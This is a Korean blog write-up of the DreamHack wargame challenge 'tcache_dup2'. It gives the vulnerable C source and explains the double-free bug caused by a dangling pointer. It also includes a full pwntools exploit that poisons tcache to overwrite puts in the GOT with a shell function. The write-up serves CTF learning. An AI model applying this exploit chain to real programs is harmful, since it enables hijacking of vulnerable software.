본문 바로가기

DreamHack: System Hacking/F Stage 12

tcache_dup2

소스코드 및 보호 기법

ubuntu 19.10 / glibc 2.30

Partial RELRO가 적용돼있으니 tcache_dup과 마찬가지로 GOT overwrite 공격을 고려해볼 수 있겠다. 소스코드에 청크의 데이터를 출력해주는 코드가 없으므로 libc base를 구하기 어려워 hook overwrite는 힘들고, while(1)을 통해 무한반복문을 돌기 때문에 bof를 통한 공격도 어렵다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx);

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    if (size > 0x10)
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}

코드 분석

(1) create_heap: size를 입력받아 size 크기만큼의 청크를 할당해주고, 할당한 청크의 주소를 ptr[idx]에 담는다.

그 후, data를 입력받아 입력받은 data를 해당 chunk에 저장한다. 그리고 idx를 1 증가시킨다

 

(2) modify_heap: idx와 size를 입력받는다. 그 후 사용자에게서 data 값을 size만큼 입력받아 ptr[idx]의 값을 입력값으로 수정한다.

이때, size가 0x10보다 크다면 프로그램이 종료된다.

 

(3) delete_heap: 사용자에게서 idx를 입력받아 ptr[idx]를 free 한다.

이때, free한 후, ptr[idx]를 초기화 시켜주지 않으므로, Dangling Pointer가 발생하고, 이를 통해 Double Free Bug 취약점이 발생한다.

 

exploit 설계

while(1)문의 출력에 puts함수가 사용되는 것을 알 수 있다. 따라서 나는 puts_got를 overwrite 할 것이다. (처음 시도 때는 free_got를 overwrite하려 했으나 free_got를 get_shell()의 주소로 overwrite 하는 시점에 자꾸 crash가 나서 puts_got를 overwrite 하였더니 shell이 성공적으로 획득됐다. 왜 free_got를 overwrite 하려 했을 땐 crash가 났는지 추가로 찾아봐야겠다.)

 

1. double free bug를 이용해 tcache에 duplicated free list를 만든다

2. puts_got에 청크를 할당하고 puts_got를 get_shell()의 주소로 overwrite 하여 shell을 획득한다.

 

exploit(tcache_dup2.py)

from pwn import *
p = remote('host3.dreamhack.games', 9740)
e = ELF('./tcache_dup2')

def create(size, data):
    p.sendlineafter(b'> ', str(1).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)

def modify(idx, size, data):
    p.sendlineafter(b'> ', str(2).encode())
    p.sendlineafter(b'idx: ', str(idx).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)

def delete(idx):
    p.sendlineafter(b'> ', str(3).encode())
    p.sendlineafter(b'idx: ', str(idx).encode())

create(0x30, b'aaaa') #idx == 0
delete(0)
#tcache[0x40]: chunk A

modify(0, 0x10, b'a'*9)
delete(0)
#tcache[0x40]: chunk A -> chunk A

puts_got = e.got['puts']
modify(0, 0x10, p64(puts_got))
#tcache[0x40]: chunk A -> puts_got -> puts -> ...

create(0x30, b'bbbb') #idx == 1
#tcache[0x40]: puts_got -> puts

get_shell = e.symbols['get_shell']
create(0x30, p64(get_shell)) #chunk allocated at puts_got -> then, overwrite puts_got to get_shell() / idx == 2

p.interactive()

 

**앞서 tcache_dup 에서도 설명했듯이, tcache count에 유의해야 한다. tcache count == 0이라면 chunk를 할당해줄 때 tcache를 참조하지 않기 때문이다.

'DreamHack: System Hacking > F Stage 12' 카테고리의 다른 글

tcache_dup  (0) 2023.08.02
Tcache Poisoning  (0) 2023.08.02
tcache의 구조 및 함수들의 동작 & Double Free Bug 개요  (0) 2023.08.02